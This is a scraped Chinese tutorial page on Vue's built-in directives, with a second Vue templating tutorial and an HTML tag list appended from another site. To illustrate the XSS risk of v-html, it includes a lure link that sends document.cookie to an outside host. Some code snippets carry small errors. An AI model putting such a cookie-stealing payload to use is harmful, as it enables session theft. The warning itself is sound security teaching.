整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

学习Vue笔记015-内置指令 v-text v-html v-cloak v-once v-pre

们学过的指令:

v-bind : 单向绑定解析表达式, 可简写为 :xxx

v-model : 双向数据绑定

v-for : 遍历数组/对象/字符串

v-on : 绑定事件监听, 可简写为@

v-if : 条件渲染(动态控制节点是否存存在)

v-else : 条件渲染(动态控制节点是否存存在)

v-show : 条件渲染 (动态控制节点是否展示)

v-text指令:

1.作用:向其所在的节点中渲染文本内容。

2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。

<!-- 准备好一个容器-->
<div id="root">
  <div>你好,{{name}}</div>
  <div v-text="name"></div>
  <div v-text="str"></div>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

new Vue({
    el:'#root',
    data:{
      name:'尚硅谷',
      str:'<h3>你好啊!</h3>'
    }
})
</script>

v-html指令

1.作用:向指定节点中渲染包含html结构的内容。

2.与插值语法的区别:

(1).v-html会替换掉节点中所有的内容,{{xx}}则不会。

(2).v-html可以识别html结构。

3.严重注意:v-html有安全性问题!!!!

(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。

(2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!

<!-- 准备好一个容器-->
		<div id="root">
			<div>你好,{{name}}</div>
			<div v-html="str"></div>
			<div v-html="str2"></div>
		</div>
<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				str:'<h3>你好啊!</h3>',
				str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
			}
		})
	</script>

v-cloak指令

v-cloak指令(没有值):

1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。

2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。

<head>
		<meta charset="UTF-8" />
		<title>v-cloak指令</title>
		<style>
			[v-cloak]{
				display:none;
			}
		</style>
		<!-- 引入Vue -->
	</head>
	<body>
		<!-- 
				v-cloak指令(没有值):
						1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
						2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-cloak>{{name}}</h2>
		</div>
		<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
	</body>
	
	<script type="text/javascript">
		console.log(1)
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷'
			}
		})
	</script>

v-once指令

1.v-once所在节点在初次动态渲染后,就视为静态内容了。

2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。

<div id="root">
			<h2 v-once>初始化的n值是:{{n}}</h2>
			<h2>当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
		</div>
<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				n:1
			}
		})
</script>

v-pre指令

1.跳过其所在节点的编译过程。

2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。

<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-pre>Vue其实很简单</h2>
			<h2 >当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
		</div>
<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				n:1
			}
		})
	</script>

代码摘录于尚硅谷Vue学习课件

、数据绑定

Vue.js 的核心是一个允许采用简洁的模板语法来声明式地将数据渲染进 DOM 的系统:

<div id="app">
 {{ msg }}
</div>

//实例化代码
var app = new Vue({
 el: '#app',
 data: {
  msg:  '欢迎学习Vue'
 }
})

{{ msg }} 为什么会变成 msg 的值?vue 使用基本 html 的模板语法,允许开发者声明式地将DOM 绑定至底层 vue 实例的数据,所有 vue 模板都是合法的 html,所以能被遵循规范的浏览器和 html 解析器解析。

二、模板语法

2.1、mustache语法

mustache 翻译为中文,是胡子/胡须。由于 {{ msg }} 两边都有对称的大括号,就像人的胡须一样,所以就叫做 mustache 语法。

特点:不仅可以直接写成变量,也可以添加简单的表达式。

//写法多样,使用便捷
<h2> {{ msg }} <h2>
<h2> {{ fir+'  '+sed }} <h2>  
<h2> {{ fir }}   {{sed}} <h2>  
<h2> {{ number + 1 }} <h2>  
<h2> {{ message.split('').reverse().join('')  }} <h2> 

2.2、v-once

上边的数据绑定中,页面展示 msg 的值,如果我们在浏览器调试中,修改 msg 的值,页面立马会更新,始终保持最新的值为页面内容。

调试模式,输入如下内容观察:

app.msg="你不爱我了" //回车

vue 支持动态渲染文本,在修改属性的同时,实时渲染文本。为了提高渲染效率,只需第一次渲染出文本之后,后期属性再修改不会影响文本内容。

此时就需要使用 v-once 解决问题。

//使用语法
<span v-once>{{msg}}</span>

特点:该指令后面不需要任何表达式,表示元素或组件只渲染一次,不会随数据的改变而改变文本。

2.3、v-html

在某些特殊情况下,页面需要动态地插入一段 html 代码,比如编辑器,动态传入的就是一段html 代码,使用时我们需要原样输出,如:

<div>{{url}}</div>

data(){
 return{
  url:'<a href="http://www.baidu.com">百度首页</a>'
 }
}

直接这么写并不能满足我们的要求,我们需要展示成带有超链接的百度首页,此时 v-html 登场。

// v-html 使用语法
<div v-html="url"></div>

给元素添加 v-html 指令后,元素就展示成一个带有超链接的百度首页文字。

v-html 特点:可以解析字段内的标签,把内容当作 html 标签来处理。

2.4、v-text

// 使用语法
<span v-text="msg"></span>

特点:与 mustache 语法类似,用于展示文本的。使用没有 mustache 灵活,所以使用较少。

注意点:<span v-text="msg">新内容</text> 标签中又新增内容时,会把原来 msg 中的内容覆盖掉。

2.5、v-pre

v-pre 与 html 中的 pre 标签有些类似,html 中的 pre 会原样输入空格、换行、缩进和文本内容。v-pre 也是原样输出内容,不会解析。

// 使用语法
<div v-pre> {{ msg }} </div>
页面直接输出 {{ msg }}

2.6、v-cloak

cloak 翻译成中文,是斗篷。那么 v-cloak是用来干什么的呢?

html页面运行的时候,会闪现 {{ msg }} ,如图:

v-locak 就是用来解决这个问题的。

// 使用语法
<div v-cloak> {{ msg }} </div>

特点:在 vue 解析之前,元素有 v-cloak 属性,vue 解析之后,元素没有 v-cloak 属性。

利用 v-cloak 的特点,我们在 css 中添加

[v-cloak]{
 display:'none'
}

此时再运行网页的时候,解析之前会被隐藏掉,解析之后才展示内容,就不会再闪现 {{msg}}。

  • TML标签:

  1. 所有内容都在<html></html>标签之内;

  2. <head></head>内放的是头部信息,是对页面的描述,不会直接显示在页面中。

  3. <head></head>内的<title></title>中设置的是页面的标题,<title></title>只能放在<head></head>中;

  4. <body></body>是页面的主体,大部分显示内容都定义在这里。

  • HTML注释:<!-- -->:

    1. 注释不允许嵌套

  • html常用标签:

    1. h标签(标题),HTML定义了<h1></h1>到<h6></h6>六个h标签,分别表示不同大小的字体。h1最大,h6最小。

    2. <br/>只是回车,<p>是段落。<p>前后会有比较大的空白,而<br/>则没有。

    3. <center>居中显示.

    4. <b>、<strong>粗体,<i>、<em>斜体。<u>下划线。

    5. <sub>2</sub>下标,如:H<sub>2</sub>O

    6. <sup>2</sup>上标,如:10<sup>2</sup>

    7. <font></font>字体标签,<font color=“red“ size=“7” face=“隶书”>红色</font>。color(设置颜色) size(1-7) face(设置字体,设置字体是注意用户计算机中必须有该字体才能正常显示)

    8. <hr> color size(厚度) width(长度) align=left/center/right (默认为剧中显示)

    9. <pre> 预格式化 保持本色;

    10. HTML特殊字符:&lt;(小于号,less than);&gt;(大于号,greater than);&nbsp;(空格)。

    11. 超链接:<a>标签的一些常用属性:href、title、target、name

    12. 插入图片:<img src=“路径”/>

    13. 列表:dl→(定义列表),ul→(无序列表), ol→(有序列表)。

    14. 表格:<table>;创建行:<tr>;创建单元格:<td>;表页眉:<thead>;表主体:<tbody>;表页脚:<tfoot>;表头:<th>。

    15. rowspan(合并行)、colspan(合并列)

    16. <input>是主要的表单元素,type的可选值:submit(提交按钮)、button(普通按钮)、checkbox表单标签:(复选框)、file(文件选择框)、hidden(隐藏字段)、image(图片按钮)、password(密码框)、radio(单选按钮)、reset(重置按钮)、text(文本框)。

    • meta标签:(包括在head标签中。主要用来描述页面自身信息,元信息)

    1. <meta name="keywords" content="C#学习资料,4k8k.net,.net开发,软件开发,编程自学网"/>

    2. <meta name="description" content="免费更新最新C#相关技术知识,主要包括:.net基础,网页前端,三层架构,SQL数据库..."/>

    3. <meta http-equiv="Content-Type" content="text/html;charset=utf-8" />网页编码

    4. <meta http-equiv="Refresh" content="3" />三秒钟后刷新此网页。

    5. <meta http-equiv="Refresh" content="3;url=http://www.4k8k.net" />三秒钟后重定向到新网页。

    6. <meta http-equiv="Cache-Control" content="no-cache" /> 禁止浏览器缓存页面。

    7. <meta name="名字" content="值" />关于网页的描述信息。

    8. <meta http-equiv="名字" content="值" />模拟http响应头信息。

    C#编程自学_做最好的.net自学资料站_更多文章请访问:http://www.4k8k.net/

    欢迎订阅。